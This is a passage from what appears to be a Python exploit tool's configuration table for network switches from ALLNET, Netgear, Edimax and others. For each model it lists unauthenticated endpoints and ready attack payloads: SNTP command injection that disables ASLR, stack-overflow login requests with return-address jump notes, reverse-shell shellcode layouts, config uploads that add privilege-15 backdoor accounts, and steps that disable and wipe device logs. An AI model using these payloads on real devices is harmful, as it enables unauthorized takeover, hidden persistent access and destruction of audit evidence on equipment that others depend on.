(PoC: disable ASLR)', 'json':True, 'authenticated': True, # <================================ 'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp', 'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}', 'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel', 'delete_query':'{"":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': False, # It is vulnerable, but I am not using this authenticated code here :> 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_add_account': { 'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_del_account': { 'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'sys_ping_post_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'log_settings_set_cmd':'&en=0', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&ta=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&ta=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123', 'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123', 'sys_timeSntpDel_set_cmd':'&sa=+&sp=123', # CMD 'sys_timeSettings_set_cmd_enable':'&sn=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sn=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/conf_tmp/check', 'vulnerable': True, 'safe': True }, # # Used for both 'heap' and 'stack' # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/security.cgi?login', 'logout_uri':'/cgi-bin/security.cgi?logout', 'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', 'stack':False, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'ALLNET_JSON': { 'vendor': 'ALLNET GmbH Computersysteme', 'model':'ALL-SG82xx', 'uri':'https://www.allnet.de/', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak':False, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':False, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_global', 'disable_query':'{"_ds=1&empty=1&_de=1":{}}', 'status':'/cgi/get.cgi?cmd=log_global', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadruncfg.cgi', 'check_uri':'/tmp/http_saverun_cfg', 'content':'/var/config/running-config', 'content_check':'/var/config/running-config', 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httprestorecfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/startup-config', 'content_check':'/mnt/startup-config', 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'/tmp/http_uploadfail', 'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround) 'content_check':'Copy: Illegal software format', 'vulnerable': True, 'safe': True }, 'login.cgi': { 'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)', 'authenticated': False, 'response':'file', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'check_uri':'/tmp/VUL.TXT', # We cannot control the content... 'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}', 'content_check':'2', 'vulnerable': True, 'safe': True }, 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=sys_acctDel', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_time', 'enable_query':'{"_ds=1&sntp=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_time', 'inject_uri':'/cgi/set.cgi?cmd=sys_time', 'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}', 'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_time', 'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=0&dlsType=0&_de=1":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_time', 'disable_query':'{"_ds=1&sntp=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { # Not vulnerable 'vulnerable': False, }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', #'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1', # Enable Logging CMD 'log_settings_set_cmd':'&empty=1', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&target=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&target=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139', 'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139', 'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139', # CMD 'sys_timeSettings_set_cmd_enable':'&sntp=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntp=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': False, #'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'ALLNET': { 'vendor': 'ALLNET GmbH Computersysteme', 'uri':'https://www.allnet.de/', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'clear', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=4353', 'status':'/cgi-bin/dispatcher.cgi?cmd=4352', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_4364=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_4364=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadbakcfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadruncfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httprestorecfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'dispatcher.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username=admin&password='+ self.random_string(184) + '&login=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'httpuploadfirmware.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadfirmware.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'httpupload_runstart_cfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload_runstart_cfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/tmp/startup-config', 'content_check':'/tmp/startup-config', 'vulnerable': True, 'safe': True }, 'version_upgrade.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")', 'uri':'/cgi-bin/version_upgrade.cgi', 'check_uri':'', 'content':'Firm Upgrade', 'content_check':'Firm Upgrade', 'vulnerable': True, 'safe': True }, 'factory_reset.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Reset device to factory default (PoC: Too dangerous to verify)', 'uri':'/cgi-bin/factory_reset.cgi', 'check_uri':'', 'content':'Too dangerous to verify', 'content_check':'dummy', 'vulnerable': True, 'safe': False }, 'sysinfo_config.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':False, 'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")', 'uri':'/cgi-bin/sysinfo_config.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'"/cgi-bin/change_mac_addr_set', 'vulnerable': True, 'safe': True }, 'change_mac_addr_set.cgi': { 'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/change_mac_addr_set.cgi', 'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'cmd=547', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123', 'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1', 'workaround':False, # My LAB workaround #'stack':False, # False = use Heap, and there are no ASLR 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, 'Netgear': { 'vendor': 'NETGEAR Inc.', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak':True, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':False, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': False, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_settings', 'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}', 'status':'/cgi/get.cgi?cmd=log_settings', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear', 'clean_logfile_query':'{"":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear', 'clean_logmem_query':'{"":{}}', 'vulnerable': False, 'safe': True }, # Verify lacking authentication 'verify': { 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': True # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'md5', 'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------', 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=aaa_userDel', 'vulnerable': False, 'safe': True }, 'sntp': { # # Most probably it is vulnerable # 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp', 'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}', 'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel', 'delete_query':'{"":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { # Not vulnerable 'vulnerable': False, }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'log_settings_set_cmd':'', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set() 'log_settings_set':0x00, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set() 'log_ramClear':0x00, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set() 'log_fileClear':0x00, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': False, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123', 'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123', 'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=139', # CMD 'sys_timeSettings_set_cmd_enable':'&sntpStatus=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntpStatus=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set() 'sys_timeSntp_set':0x00, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set() 'sys_timeSntpDel_set':0x00, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set() 'sys_timeSettings_set':0x00,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x00, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x00, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'workaround':False, # My LAB workaround 'vulnerable': False, 'safe': True }, }, }, 'Edimax': { 'vendor': 'EDIMAX Technology Co., Ltd.', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak':False, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':False, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_global', 'disable_query':'{"_ds=1&empty=1&_de=1":{}}', 